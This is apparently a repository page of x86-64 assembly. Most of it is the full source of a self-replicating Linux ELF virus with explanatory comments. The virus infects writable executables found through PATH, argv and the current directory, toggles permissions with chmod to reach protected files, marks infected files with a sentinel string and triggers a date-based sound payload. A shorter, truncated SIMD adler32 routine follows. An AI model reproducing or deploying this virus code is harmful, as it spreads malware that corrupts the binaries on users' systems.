3463 lines
79 KiB
Plaintext
3463 lines
79 KiB
Plaintext
format ELF64 executable
|
|
use64
|
|
|
|
; XXX: You have to set this to the resulting ELF file size manually.
|
|
SIZE equ 1434
|
|
|
|
; XXX: You have to set this to the position of the "palaiologos" string
|
|
; in the binary yourself.
|
|
SENTINEL_LOC equ 120
|
|
|
|
sys_execve equ 59
|
|
sys_open equ 2
|
|
sys_lseek equ 8
|
|
sys_memfd_create equ 319
|
|
sys_sendfile equ 40
|
|
sys_close equ 3
|
|
sys_exit equ 60
|
|
sys_getdents equ 78
|
|
sys_access equ 21
|
|
sys_stat equ 4
|
|
sys_chmod equ 90
|
|
|
|
entry _start
|
|
|
|
sentinel: db 'palaiologos',0
|
|
memfd_path: db '/proc/self/fd/',0,0
|
|
self: db '/proc/self/exe'
|
|
snddev: db "/dev/dsp1", 0
|
|
pathsep: db "/", 0
|
|
empty: db 0
|
|
size: dq SIZE
|
|
seed: dq 0
|
|
ldays:
|
|
dd -1, 30, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365
|
|
days:
|
|
dd -1, 30, 58, 89, 119, 150, 180, 211, 242, 272, 303, 333, 364
|
|
|
|
LCG_A equ 1103515245
|
|
LCG_B equ 12345
|
|
|
|
load_elf:
|
|
; Open ourselves.
|
|
xor esi, esi
|
|
mov edi, self
|
|
push sys_open
|
|
pop rax
|
|
syscall
|
|
; Obtain the length: seek to back.
|
|
mov r8, rax
|
|
mov rdi, r8
|
|
push sys_lseek
|
|
pop rax
|
|
syscall
|
|
; Call memfd_create, call with MFD_CLOEXEC.
|
|
mov edi, empty
|
|
push 1
|
|
pop rsi
|
|
push sys_memfd_create
|
|
pop rax
|
|
syscall
|
|
; Copy the file contents to the memfd using sendfile.
|
|
mov edx, size
|
|
mov r9, rax
|
|
mov rdi, rax
|
|
mov rsi, r8
|
|
sub r10d, SIZE
|
|
push sys_sendfile
|
|
pop rax
|
|
syscall
|
|
; Close the file descriptor we hold to our own binary.
|
|
push sys_close
|
|
pop rax
|
|
mov rdi, r8
|
|
syscall
|
|
; Bravely assume that the memfd descriptor number is a single digit.
|
|
; This might or might not work all of the times, but improving upon
|
|
; this is trivially beyond the scope of this post.
|
|
add r9d, 48
|
|
mov BYTE [memfd_path + 14], r9b
|
|
ret
|
|
|
|
; The entry point.
|
|
_start:
|
|
; Load the executable to a memfd.
|
|
call load_elf
|
|
; Load the argp for the first payload.
|
|
mov rdi, [rsp]
|
|
lea rdi, [rsp + 8 + rdi * 8 + 8]
|
|
call infect_path
|
|
; Load the argv for the second payload.
|
|
lea rbx, [rsp + 8]
|
|
call infect_argv
|
|
; Infect the current directory as the third payload.
|
|
call infect_selfdir
|
|
; Call the final birthday payload.
|
|
call birthday
|
|
; Load the path to the executable
|
|
mov rdi, memfd_path
|
|
; Prepare to call execve
|
|
; Load argc + argv
|
|
lea rsi, [rsp + 8]
|
|
; Load argp
|
|
mov rdx, [rsp]
|
|
lea rdx, [rsp + 8 + rdx * 8 + 8]
|
|
; Perform the syscall
|
|
push sys_execve
|
|
pop rax
|
|
syscall
|
|
; Exit in case execve returns due to error.
|
|
mov rdi, -1
|
|
push sys_exit
|
|
pop rax
|
|
syscall
|
|
|
|
infect_argv:
|
|
; Load two constants related to access() to
|
|
; avoid having to reload them in the loop.
|
|
; We're interested in the syscall number
|
|
; and the two arguments specifying access
|
|
; mode.
|
|
push sys_access
|
|
pop r14
|
|
push 6 ; R_OK | W_OK
|
|
pop r15
|
|
.argv_loop:
|
|
; We could use argc, but we can also assume
|
|
; that argv is terminated with a NULL.
|
|
mov rdi, qword [rbx]
|
|
test rdi, rdi
|
|
je .done
|
|
; Check if we can infect the file. Don't bother
|
|
; trying to tweak the permissions.
|
|
mov rsi, r15
|
|
mov rax, r14
|
|
syscall
|
|
; access() returned nonzero -> we can't infect
|
|
test eax, eax
|
|
jne .skip_infect
|
|
; Load the path to the executable and infect it.
|
|
mov rdi, qword [rbx]
|
|
call infect
|
|
.skip_infect:
|
|
; Skip to the next pointer in the argv array.
|
|
add rbx, 8
|
|
jmp .argv_loop
|
|
.done:
|
|
ret
|
|
|
|
infect_selfdir:
|
|
; Reserve some space on the stack.
|
|
sub rsp, 40
|
|
; Load the first buffer with PATH=.
|
|
lea rax, [rsp + 9]
|
|
mov dword [rax], 'PATH'
|
|
mov word [rax + 4], '=.'
|
|
mov byte [rax + 6], 0
|
|
; Write the buffer as the first entry and NULL-terminate the
|
|
; artificial ARGP.
|
|
lea rdi, [rsp + 16]
|
|
mov qword [rdi], rax
|
|
and qword [rdi + 8], 0
|
|
; Infect.
|
|
call infect_path
|
|
add rsp, 40
|
|
ret
|
|
|
|
; Wants to be called with argp in rdi.
|
|
infect_path:
|
|
; Reserve a (somewhat arbitrary) amount of stack space.
|
|
; It needs to hold a few path buffers (3 buffers, 4096 bytes each)
|
|
sub rsp, 12456
|
|
; Query the current time stamp counter as a source of randomness.
|
|
; rdtsc will set rdx and rax to the higher and lower bits of the time
|
|
; stamp counter, so we put them together and store them in the RNG seed
|
|
; variable.
|
|
rdtsc
|
|
shl rdx, 32
|
|
or rdx, rax
|
|
mov qword [seed], rdx
|
|
; Find "PATH=" in ARGP.
|
|
.path_find_loop:
|
|
; NULL terminates argp, check for this.
|
|
mov rax, qword [rdi]
|
|
test rax, rax
|
|
je .infect_done
|
|
; Load the first five bytes of the current string.
|
|
; If any of them is NUL, we skip to the next string.
|
|
mov cl, byte [rax]
|
|
test cl, cl
|
|
je .path_loop_skip
|
|
mov dl, byte [rax + 1]
|
|
test dl, dl
|
|
je .path_loop_skip
|
|
mov bl, byte [rax + 2]
|
|
test bl, bl
|
|
je .path_loop_skip
|
|
mov sil, byte [rax + 3]
|
|
test sil, sil
|
|
je .path_loop_skip
|
|
mov r8b, byte [rax + 4]
|
|
test r8b, r8b
|
|
je .path_loop_skip
|
|
; Check if the ASCII values are right.
|
|
cmp cl, 'P'
|
|
jne .path_loop_skip
|
|
cmp dl, 'A'
|
|
jne .path_loop_skip
|
|
cmp bl, 'T'
|
|
jne .path_loop_skip
|
|
cmp sil, 'H'
|
|
jne .path_loop_skip
|
|
cmp r8b, '='
|
|
je .path_found
|
|
.path_loop_skip:
|
|
; Go to the next pointer in the argp array.
|
|
add rdi, 8
|
|
jmp .path_find_loop
|
|
.path_found:
|
|
add rax, 5
|
|
; Select the final path buffer.
|
|
lea r12, [rsp + 4256]
|
|
; Load a few auxiliary constants.
|
|
push 3
|
|
pop rbx
|
|
push sys_open
|
|
pop r8
|
|
.path_loop:
|
|
; Check if we've hit the end of the PATH variable.
|
|
mov cl, byte [rax]
|
|
test cl, cl
|
|
je .infect_done
|
|
; Copy path until : or \0 is found.
|
|
xor r13d, r13d
|
|
.copy_path:
|
|
test cl, cl
|
|
je .attempt_scan
|
|
cmp cl, ':'
|
|
je .attempt_scan
|
|
mov byte [rsp + r13 + 160], cl
|
|
mov cl, byte [rax + r13 + 1]
|
|
inc r13
|
|
jmp .copy_path
|
|
.attempt_scan:
|
|
; NUL-terminate the path.
|
|
mov ecx, r13d
|
|
mov byte [rsp + rcx + 160], 0
|
|
xor ecx, ecx
|
|
; Check if we have to skip an extra colon.
|
|
cmp byte [rax + r13], ':'
|
|
sete cl
|
|
add rcx, rax
|
|
; Decide whether we want to infect this directory.
|
|
; Take a random number from a linear congruential generator
|
|
; and divide it by three. The modulus of zero means "no".
|
|
imul rax, qword [seed], LCG_A
|
|
add rax, LCG_B
|
|
mov qword [seed], rax
|
|
xor edx, edx
|
|
div rbx
|
|
test rdx, rdx
|
|
je .next_path
|
|
; O_RDONLY | O_DIRECTORY
|
|
mov esi, 0x10000
|
|
lea rdi, [rsp + 160]
|
|
mov rax, r8
|
|
; Preserve rcx through the system call.
|
|
mov qword [rsp], rcx
|
|
syscall
|
|
mov rcx, qword [rsp]
|
|
; Clever way to determine whether the number is negative.
|
|
bt eax, 31
|
|
jb .next_path
|
|
; Save the file descriptor.
|
|
mov qword [rsp + 8], rax
|
|
; Copy the file descriptor elsewhere, because we are going to use
|
|
; it now, and it would be a shame if a syscall clobbered it ;).
|
|
mov rbp, rax
|
|
.getdents_loop:
|
|
; Load max path size.
|
|
mov edx, 4096
|
|
; Load the directory file descriptor.
|
|
mov rdi, rbp
|
|
; Load the buffer address.
|
|
lea rsi, [rsp + 8352]
|
|
push sys_getdents
|
|
pop rax
|
|
syscall
|
|
; Jump to some common error stub that will close the
|
|
; directory descriptor in case of failure.
|
|
test eax, eax
|
|
je .getdents_err
|
|
; Preserve the amount of entries somewhere.
|
|
; eax is often trashed by system calls so we want to
|
|
; avoid it being lost.
|
|
mov r14d, eax
|
|
xor eax, eax
|
|
.dir_loop:
|
|
; Load the current entry number, directory entries buffer
|
|
; and the random seed.
|
|
mov r15d, eax
|
|
lea rbx, [rsp + r15]
|
|
add rbx, 8352
|
|
mov rax, qword [seed]
|
|
.discard_loop:
|
|
; Done processing?
|
|
cmp r14, r15
|
|
jbe .getdents_loop
|
|
; Extract the type of the directory entry.
|
|
movzx ecx, word [rbx + 16]
|
|
mov dl, byte [rbx + rcx - 1]
|
|
; Skip if not a regular file or a symlink.
|
|
and dl, -3
|
|
cmp dl, 8
|
|
jne .give_up
|
|
; Invoke the LCG again. Skip the entry upfront if dividing by
|
|
; four gives modulus 0, that is, last two binary digits of the
|
|
; number are 0.
|
|
imul rax, rax, LCG_A
|
|
add rax, LCG_B
|
|
mov qword [seed], rax
|
|
test al, 3
|
|
je .discard_loop
|
|
; OK, first nul-terminate the final buffer with the filename
|
|
; so that the `concat` function can work properly. Then append the
|
|
; directory name to that empty final buffer.
|
|
mov byte [rsp + 4256], 0
|
|
mov rdi, r12
|
|
lea rsi, [rsp + 160]
|
|
call concat
|
|
; We need to terminate the path with a slash only if it is not present
|
|
; already. Check this. Use a dumb strlen-ish function.
|
|
mov rax, r12
|
|
.len_loop:
|
|
cmp byte [rax], 0
|
|
je .len_ok
|
|
inc rax
|
|
jmp .len_loop
|
|
.len_ok:
|
|
; Slash?
|
|
cmp byte [rax - 1], '/'
|
|
je .has_slash
|
|
mov esi, pathsep
|
|
mov rdi, r12
|
|
call concat
|
|
.has_slash:
|
|
; Append the file name now.
|
|
lea rsi, [rbx + 18]
|
|
mov rdi, r12
|
|
call concat
|
|
; Check if we can access the file for reading and writing.
|
|
mov rdi, r12
|
|
push 6 ; R_OK | W_OK
|
|
pop rsi
|
|
push sys_access
|
|
pop rax
|
|
syscall
|
|
mov rcx, rax
|
|
; Decide whether we want to infect this file anyway.
|
|
; Same LCG and division stuff, except this time with the
|
|
; modulus of 10.
|
|
imul rax, qword [seed], LCG_A
|
|
add rax, LCG_B
|
|
mov qword [seed], rax
|
|
xor edx, edx
|
|
push 10
|
|
pop rsi
|
|
div rsi
|
|
; Proceed only if:
|
|
; (1) the file is not accessible
|
|
; (2) we want to infect it
|
|
; Handle a special case here: try to add an owner
|
|
; write permission bit to the file and see if this lets
|
|
; us access it... :). Might protect against some
|
|
; "overzealous" (removes write permissions on critical
|
|
; executables to avoid problems) but not "overly paranoid"
|
|
; (removes write permissions /and/ transfers ownership) users.
|
|
; In that case we can do nothing but hope that we get root somehow.
|
|
test ecx, ecx
|
|
je .normal_path
|
|
test rdx, rdx
|
|
jne .normal_path
|
|
; Stat the file.
|
|
mov rdi, r12
|
|
lea rsi, [rsp + 16]
|
|
push sys_stat
|
|
pop rax
|
|
syscall
|
|
; Set the owner write permission bit and call chmod.
|
|
mov esi, dword [rsp + 40]
|
|
or rsi, 128
|
|
mov dword [rsp + 40], esi
|
|
mov rbp, r12
|
|
push sys_chmod
|
|
pop r12
|
|
mov rax, r12
|
|
syscall
|
|
; Try to access again?
|
|
mov rdi, rbp
|
|
push 6 ; R_OK | W_OK again.
|
|
pop rsi
|
|
push sys_access
|
|
pop rax
|
|
syscall
|
|
; Still no? Restore the permissions.
|
|
test eax, eax
|
|
jne .restore_perms
|
|
; Yes => do infect.
|
|
mov rdi, rbp
|
|
call infect
|
|
.restore_perms:
|
|
mov esi, dword [rsp + 40]
|
|
and esi, -129 ; Everything except the bit 7
|
|
mov dword [rsp + 40], esi
|
|
mov rdi, rbp
|
|
mov rax, r12
|
|
syscall
|
|
; File still not accessible. Give up.
|
|
; Load the directory descriptor.
|
|
mov rax, qword [rsp + 8]
|
|
mov r12, rbp
|
|
mov rbp, rax
|
|
jmp .give_up
|
|
.normal_path:
|
|
; Check if we want to infect this file.
|
|
test rdx, rdx
|
|
jne .give_up
|
|
; Do infect.
|
|
mov rdi, r12
|
|
call infect
|
|
.give_up:
|
|
; We end up here when it's time to skip to
|
|
; the next directory entry.
|
|
movzx ecx, word [rbx + 16]
|
|
movzx eax, cx
|
|
add eax, r15d
|
|
jmp .dir_loop
|
|
.getdents_err:
|
|
; We get here when it's time to close the
|
|
; directory descriptor and move on.
|
|
mov rdi, rbp
|
|
push sys_close
|
|
pop rbx
|
|
mov rax, rbx
|
|
syscall
|
|
; Load the sys_open constant again
|
|
push sys_open
|
|
pop r8
|
|
mov rcx, qword [rsp]
|
|
.next_path:
|
|
; Go to the next path to process
|
|
add rcx, r13
|
|
mov rax, rcx
|
|
jmp .path_loop
|
|
.infect_done:
|
|
; Balance the stack and yield.
|
|
add rsp, 12456
|
|
ret
|
|
|
|
concat:
|
|
; Find the end of the first string.
|
|
cmp byte [rdi], 0
|
|
lea rdi, [rdi + 1]
|
|
jne concat
|
|
; Start appending characters in a loop.
|
|
push -1
|
|
pop rax
|
|
.do_loop:
|
|
; Nothing left in the source string.
|
|
mov cl, byte [rsi + rax + 1]
|
|
test cl, cl
|
|
je .done
|
|
mov byte [rdi + rax], cl
|
|
inc rax
|
|
jmp .do_loop
|
|
.done:
|
|
; Null-terminate the string.
|
|
mov byte [rdi + rax], 0
|
|
ret
|
|
|
|
infect:
|
|
; Preserve a bunch of registers that the caller function needs.
|
|
push r15
|
|
push r14
|
|
push rbx
|
|
; Reserve enough space for the transaction buffer.
|
|
sub rsp, 200 + SIZE
|
|
; Open the goat file w/ O_RDWR.
|
|
mov rbx, sys_open
|
|
mov rsi, rbx
|
|
mov rax, rbx
|
|
syscall
|
|
; Check if the file was opened successfully.
|
|
bt eax, 31
|
|
jb .cleanup
|
|
; Read the ELF header.
|
|
mov r8d, eax
|
|
lea rsi, [rsp - 112]
|
|
; Size of the ELF header.
|
|
mov rdx, 64
|
|
mov rdi, r8
|
|
; sys_read = 0
|
|
xor eax, eax
|
|
syscall
|
|
; Check machine type (AMD64, code 62)
|
|
cmp word [rsi + 18], 62
|
|
jne .elf_bad
|
|
; ELF class (64-bit)
|
|
cmp byte [rsp - 108], 2
|
|
jne .elf_bad
|
|
; Check the 0x7f ELF magic.
|
|
cmp byte [rsp - 109], 'F'
|
|
jne .elf_bad
|
|
cmp byte [rsp - 110], 'L'
|
|
jne .elf_bad
|
|
cmp byte [rsp - 111], 'E'
|
|
jne .elf_bad
|
|
cmp byte [rsp - 112], 0x7F
|
|
jne .elf_bad
|
|
; Rewind to the SENTINEL_LOC-th byte. We want to check
|
|
; if this ELF file was already infected.
|
|
mov r9, sys_lseek
|
|
mov rsi, SENTINEL_LOC
|
|
mov rdi, r8
|
|
xor edx, edx
|
|
mov rax, r9
|
|
syscall
|
|
; Read 12 bytes (length of "palaiologos\0")
|
|
lea rsi, [rsp - 128]
|
|
mov rdx, 12
|
|
xor eax, eax
|
|
syscall
|
|
; Check if the sentinel is present.
|
|
movq xmm0, qword [rsi]
|
|
movq rax, xmm0
|
|
; Check the first part.
|
|
mov rcx, 'palaiolo'
|
|
cmp rax, rcx
|
|
jne .elf_clean
|
|
; Check the remaining bytes: gos\0
|
|
cmp byte [rsp - 120], 'g'
|
|
jne .elf_clean
|
|
cmp byte [rsp - 119], 'o'
|
|
jne .elf_clean
|
|
cmp byte [rsp - 118], 's'
|
|
jne .elf_clean
|
|
cmp byte [rsp - 117], 0
|
|
jne .elf_clean
|
|
.elf_bad:
|
|
; Close ourselves and return. Already infected.
|
|
mov rax, 3
|
|
mov rdi, r8
|
|
syscall
|
|
jmp .cleanup
|
|
.elf_clean:
|
|
; Open self.
|
|
mov edi, self
|
|
xor esi, esi
|
|
mov rax, rbx
|
|
syscall
|
|
; Open a memfd with O_CLOEXEC.
|
|
mov r10d, eax
|
|
mov r14, 1
|
|
mov edi, empty
|
|
mov eax, sys_memfd_create
|
|
mov rsi, r14
|
|
syscall
|
|
; Copy over the viral stub from ourselves to the memfd.
|
|
mov ebx, eax
|
|
lea r15, [rsp - 48]
|
|
mov edx, SIZE
|
|
mov rdi, r10
|
|
mov rsi, r15
|
|
xor eax, eax
|
|
syscall
|
|
mov edx, SIZE
|
|
mov rdi, rbx
|
|
mov rax, r14
|
|
syscall
|
|
; Seek to the beginning of the goat file (we want the ELf header back).
|
|
mov rdi, r8
|
|
xor esi, esi
|
|
xor edx, edx
|
|
mov rax, r9
|
|
syscall
|
|
; Copy data from the goat file to the memfd in a loop.
|
|
.copy_goat_memfd:
|
|
mov edx, SIZE
|
|
mov rdi, r8
|
|
mov rsi, r15
|
|
xor eax, eax
|
|
syscall
|
|
test eax, eax
|
|
je .copy_goat_memfd_done
|
|
mov edx, eax
|
|
mov rdi, rbx
|
|
mov rsi, r15
|
|
mov rax, r14
|
|
syscall
|
|
jmp .copy_goat_memfd
|
|
; Rewind the goat file and the memfd.
|
|
.copy_goat_memfd_done:
|
|
mov rdi, rbx
|
|
xor esi, esi
|
|
xor edx, edx
|
|
mov rax, r9
|
|
syscall
|
|
mov rdi, r8
|
|
xor esi, esi
|
|
xor edx, edx
|
|
mov rax, r9
|
|
syscall
|
|
; Overwrite the goat file with the memfd contents.
|
|
lea rsi, [rsp - 48]
|
|
.copy_memfd_goat:
|
|
mov edx, SIZE
|
|
mov rdi, rbx
|
|
xor eax, eax
|
|
syscall
|
|
test eax, eax
|
|
je .copy_memfd_goat_done
|
|
mov edx, eax
|
|
mov rdi, r8
|
|
mov rax, r14
|
|
syscall
|
|
jmp .copy_memfd_goat
|
|
.copy_memfd_goat_done:
|
|
; Close goat, memfd, and self.
|
|
mov rdx, sys_close
|
|
mov rdi, rbx
|
|
mov rax, rdx
|
|
syscall
|
|
mov rdi, r8
|
|
mov rax, rdx
|
|
syscall
|
|
mov rdi, r10
|
|
mov rax, rdx
|
|
syscall
|
|
.cleanup:
|
|
; Balance the stack and quit.
|
|
add rsp, 200 + SIZE
|
|
pop rbx
|
|
pop r14
|
|
pop r15
|
|
ret
|
|
|
|
sys_time equ 201
|
|
|
|
birthday:
|
|
; Ask for the current UNIX time.
|
|
mov eax, sys_time
|
|
xor edi, edi
|
|
syscall
|
|
; Determine whether we are dealing with a
|
|
; leap year. We want to obtain the divmod of
|
|
; the UNIX time stamp and four years expressed in
|
|
; seconds (1461 * seconds in a day) = (1461 * 24 * 60 * 60)
|
|
; = 126230400
|
|
mov ecx, eax
|
|
mov esi, 126230400
|
|
xor edx, edx
|
|
div esi
|
|
imul rax, rax, -126230400
|
|
add rax, rcx
|
|
; Determine the correct year in the four year interval.
|
|
; If the quotient result of divmod is less than a year,
|
|
; just ignore the entire thing.
|
|
; 31536000 is the amount of seconds in a year.
|
|
cmp rax, 31536000
|
|
jl .year_ok
|
|
; Check if we're in the 2nd year of the 4 year interval.
|
|
; Easy to notice that this constant is the amount of seconds
|
|
; in two years.
|
|
cmp rax, 63072000
|
|
jb .sub_year
|
|
; Same logic as above except three years.
|
|
; There's a twist though: we need to account for a leap day.
|
|
; The logic for leap days is way different...
|
|
cmp rax, 94694400
|
|
jb .is_leap
|
|
; Leap year: subtract 3 years worth of seconds and add a leap day.
|
|
sub rax, 94694400
|
|
jmp .year_ok
|
|
.sub_year:
|
|
; Subtract a year's worth of seconds.
|
|
sub rax, 31536000
|
|
.year_ok:
|
|
; Calculate days since 01/01.
|
|
mov ecx, 86400
|
|
xor edx, edx
|
|
div rcx
|
|
cdqe
|
|
; Load the running total of days in each month.
|
|
mov rcx, days
|
|
.determine_month:
|
|
push -1
|
|
pop rdx
|
|
.month_loop:
|
|
; Bump up the month until exceeded days since 01/01.
|
|
lea esi, [rdx + 2]
|
|
movsxd rsi, dword [rcx + 4 * rsi]
|
|
inc edx
|
|
cmp rax, rsi
|
|
jg .month_loop
|
|
; Save the month value for later.
|
|
mov esi, edx
|
|
; Load the day of month.
|
|
movsxd rcx, dword [rcx + 4 * rsi]
|
|
sub rax, rcx
|
|
; Check if the day and month match.
|
|
cmp rax, 9
|
|
jne .heck
|
|
cmp edx, 7
|
|
jne .heck
|
|
; Pick a random number and proceed only with 10% certainty...
|
|
imul rax, qword [rip + seed], LCG_A
|
|
add rax, LCG_B
|
|
mov qword [rip + seed], rax
|
|
push 10
|
|
pop rcx
|
|
xor edx, edx
|
|
div rcx
|
|
test rdx, rdx
|
|
je proceed
|
|
.heck:
|
|
ret
|
|
.is_leap:
|
|
; Compute day of year and load the leap days LUT.
|
|
sub eax, 63072000
|
|
mov ecx, 86400
|
|
xor edx, edx
|
|
div ecx
|
|
mov rcx, ldays
|
|
jmp .determine_month
|
|
|
|
proceed:
|
|
; Open the sound device.
|
|
mov rax, 2
|
|
mov r8, 1
|
|
mov edi, snddev
|
|
mov rsi, r8
|
|
syscall
|
|
; Play the "suspense" sound.
|
|
mov edi, eax
|
|
xor ebp, ebp
|
|
; Load the place on the stack where the sample is saved.
|
|
lea rsi, [rsp - 4]
|
|
xor ebx, ebx
|
|
.susp_loop:
|
|
; 58000 ticks.
|
|
cmp ebx, 58000
|
|
je .susp_done
|
|
; Generate the sample.
|
|
mov ecx, ebx
|
|
shr ecx, 13
|
|
and cl, 27
|
|
mov eax, 322376503
|
|
shr eax, cl
|
|
and eax, 127
|
|
imul eax, ebx
|
|
mov ecx, ebx
|
|
shr ecx, 4
|
|
or ecx, ebp
|
|
or ecx, eax
|
|
; Save and write.
|
|
mov dword [rsp - 4], ecx
|
|
mov rdx, r8
|
|
mov rax, r8
|
|
syscall
|
|
; Loop again.
|
|
inc ebx
|
|
add ebp, 32
|
|
jmp .susp_loop
|
|
.susp_done:
|
|
; Purposefully waste some CPU cycles for delay.
|
|
mov eax, 100000
|
|
.busy:
|
|
sub eax, 1
|
|
jb .busydone
|
|
nop
|
|
jmp .busy
|
|
.busydone:
|
|
; Roll a dice. 33% chance of playing the "doomy" sound.
|
|
imul rax, qword [seed], LCG_A
|
|
add rax, LCG_B
|
|
mov qword [seed], rax
|
|
xor ebp, ebp
|
|
mov r9, 3
|
|
xor edx, edx
|
|
div r9
|
|
test rdx, rdx
|
|
je .doomy
|
|
; Generate the "good" samples!
|
|
mov r10d, 1
|
|
mov ebx, 8
|
|
mov ebp, 13
|
|
lea rsi, [rsp - 12]
|
|
mov r14d, 12
|
|
; The song is procedurally generated in stages three stages:
|
|
; stage 0, stage 1 and stage 2.
|
|
.good_main:
|
|
cmp r10d, 106000
|
|
je .good_done
|
|
mov eax, ebp
|
|
mov ecx, ebx
|
|
cmp r10d, 35000
|
|
jb .good0
|
|
cmp r10d, 67499
|
|
ja .good1
|
|
lea ecx, [r10 + 8 * r10]
|
|
mov eax, ebp
|
|
jmp .good0
|
|
.good1:
|
|
cmp r10d, 83999
|
|
ja .good2
|
|
lea ecx, [r10 + 8 * r10]
|
|
mov eax, r14d
|
|
jmp .good0
|
|
.good2:
|
|
lea ecx, [8*r10]
|
|
cmp r10d, 98000
|
|
mov eax, ebp
|
|
sbb eax, 0
|
|
.good0:
|
|
mov edx, r10d
|
|
shr edx, 2
|
|
imul eax, r10d
|
|
add eax, edx
|
|
mov edx, r10d
|
|
shr edx, 3
|
|
or edx, ecx
|
|
mov ecx, r10d
|
|
shr ecx, 5
|
|
or ecx, edx
|
|
or ecx, eax
|
|
; Write the sample.
|
|
mov dword [rsp - 12], ecx
|
|
mov rdx, r8
|
|
mov rax, r8
|
|
syscall
|
|
inc r10d
|
|
add ebx, 8
|
|
jmp .good_main
|
|
.good_done:
|
|
; Close file descriptor.
|
|
mov rax, r9
|
|
syscall
|
|
jmp .cleanup
|
|
.doomy:
|
|
; "Doomy" track.
|
|
lea rsi, [rsp - 8]
|
|
.doomy_loop:
|
|
cmp ebp, 250000
|
|
je .doomy_quit
|
|
mov eax, ebp
|
|
shr eax, 11
|
|
mov ecx, ebp
|
|
shr ecx, 1
|
|
or ecx, eax
|
|
imul eax, ecx, 430
|
|
; Write the sample.
|
|
mov dword [rsp - 8], eax
|
|
mov rdx, r8
|
|
mov rax, r8
|
|
syscall
|
|
add ebp, 5
|
|
jmp .doomy_loop
|
|
.doomy_quit:
|
|
; Exit with code 0.
|
|
mov rax, 60
|
|
xor edi, edi
|
|
syscall
|
|
.cleanup:
|
|
ret
|
|
|
|
format ELF64 executable
|
|
use64
|
|
|
|
entry _start
|
|
|
|
; Compute x / 0xFFF1. Consider K = (2 ^ N) / 0xFFF1, for some value of N.
|
|
; Now, to compute X / 0xFFF1 is to compute X * K, and shift it N positions to the right.
|
|
; Finally, compute `x - trunc(edx = x / 0xFFF1) * 0xFFF1`, yielding the desired remainder.
|
|
; K = 0x80078071 used throughout the program has been devised from N=47, since
|
|
; N=32+M, where M is the smallest integer where:
|
|
; 0xFFF1 <= (2^(32 + M) mod 0xFFF1) + 2^M, or alternatively
|
|
; 0xFFF1 <= 0xFFF1 * floor(2^(M+32) / 0xFFF1) + 2^M + 2^(M+32).
|
|
macro mod0xFFF1 K,N,src,reg {
|
|
mov e#reg, src
|
|
imul r#reg, K
|
|
shr r#reg, N
|
|
imul e#reg, e#reg, 0xFFF1
|
|
sub src, e#reg
|
|
}
|
|
|
|
; Compute the adler32 checksum.
|
|
; Input:
|
|
; - EDI => initial checksum value.
|
|
; - RCX => input buffer
|
|
; - RDX => input size
|
|
adler32:
|
|
; eax = high(edi), esi = low(edi)
|
|
mov eax, edi
|
|
shr eax, 16
|
|
movzx esi, di
|
|
; load the pointer to the end of the data
|
|
lea r10, [rcx + rdx]
|
|
; the data needs to be processed byte-wise until desired alignment is reached.
|
|
; if the input size is 0, terminate the algorithm as there is nothing to checksum.
|
|
; The value of the initial checksum value will be glued back together and returned.
|
|
test rdx, rdx
|
|
je .terminate
|
|
; Check if the lowest two bits of the input pointer are aligned to 16 bytes.
|
|
test cl, 15
|
|
jne .unaligned
|
|
.aligned:
|
|
; If we have reached this point, the data is aligned so we can process it using vector operations.
|
|
; Compute the new end taking on the account the possibility that some of the data might have been processed already
|
|
; and it will be processed afterwards. end -= (end - p) & 0x1F to adjust for the amount of bytes per iteration (32)
|
|
mov rdx, r10
|
|
mov r8, r10
|
|
sub rdx, rcx
|
|
and edx, 31
|
|
sub r8, rdx
|
|
; Not even one iteration of the vectorised algorithm is guaranteed. If the data isn't large enough to be processed
|
|
; in a chunk (less than 32 bytes), skip to the bytewise checksumming part.
|
|
cmp rcx, r8
|
|
je .process_remaining
|
|
; Load a few constants that will be used throughout the algorithm to save a few CPU cycles during the loop.
|
|
; The value of K for the mod0xFFF1 macro.
|
|
mov r9d, 0x80078071
|
|
; The initial vector values.
|
|
pxor xmm1, xmm1
|
|
movdqu xmm8, [.V32]
|
|
movdqu xmm7, [.V24]
|
|
movdqu xmm6, [.V16]
|
|
movdqu xmm5, [.V8]
|
|
.chunk_loop:
|
|
; Compute the chunk size. It's either the smaller of two values - the amount of data to process in total, or 4096 (chunk * 8).
|
|
mov rdx, r8
|
|
sub rdx, rcx
|
|
mov edi, 4096
|
|
cmp rdx, rdi
|
|
cmova rdx, rdi
|
|
; Clear the vector registers.
|
|
; XMM0 => sum of bytes
|
|
; XMM13 => sum of low bytes
|
|
; XMM4, XMM11, XMM10, XMM9 => 16-bit counters for byte sums. Each accumulates a
|
|
; number and the dot product will need to be computed to add the resulting
|
|
; high bytes
|
|
pxor xmm0, xmm0
|
|
pxor xmm13, xmm13
|
|
|
|
pxor xmm4, xmm4
|
|
pxor xmm11, xmm11
|
|
pxor xmm10, xmm10
|
|
pxor xmm9, xmm9
|
|
; Subtract chunk size modulo the amount of bytes per iteration (32).
|
|
mov rdi, rdx
|
|
mov rdx, rcx
|
|
and rdi, 0xFFFFFFFFFFFFFFE0
|
|
; Define the end of the chunk as the input pointer + chunk size.
|
|
add rcx, rdi
|
|
; high += low * chunk_size
|
|
imul edi, esi
|
|
add edi, eax
|
|
.inner_chunk_loop:
|
|
; Accumulate previous counters to current counters and load a new batch
|
|
; of data using aligned moves.
|
|
movdqa xmm3, [rdx]
|
|
movdqa xmm2, [rdx + 16]
|
|
paddd xmm13, xmm0
|
|
; Use `PSADBW` to add the bytes horizontally with 8 bytes per sum.
|
|
; Add the sums to XMM0.
|
|
movdqa xmm12, xmm3
|
|
psadbw xmm12, xmm1
|
|
paddd xmm12, xmm0
|
|
|
|
movdqa xmm0, xmm2
|
|
psadbw xmm0, xmm1
|
|
paddd xmm0, xmm12
|
|
; Accumulate the data into the additional counters too.
|
|
; Unpack high and low parts and add them to the respective counter vector.
|
|
movdqa xmm12, xmm3
|
|
punpckhbw xmm3, xmm1
|
|
punpcklbw xmm12, xmm1
|
|
paddw xmm11, xmm3
|
|
paddw xmm4, xmm12
|
|
|
|
movdqa xmm3, xmm2
|
|
punpckhbw xmm2, xmm1
|
|
punpcklbw xmm3, xmm1
|
|
paddw xmm9, xmm2
|
|
paddw xmm10, xmm3
|
|
; Loop until the end of the chunk has been reached.
|
|
add rdx, 32
|
|
cmp rcx, rdx
|
|
jne .inner_chunk_loop
|
|
; Finish calculating the XMM13 and XMM0 counter. Update the values of high and low (respectively) checksum elements.
|
|
pshufd xmm3, xmm0, 0x31
|
|
paddd xmm0, xmm3
|
|
pshufd xmm3, xmm0, 0x2
|
|
paddd xmm0, xmm3
|
|
movd eax, xmm0
|
|
add esi, eax
|
|
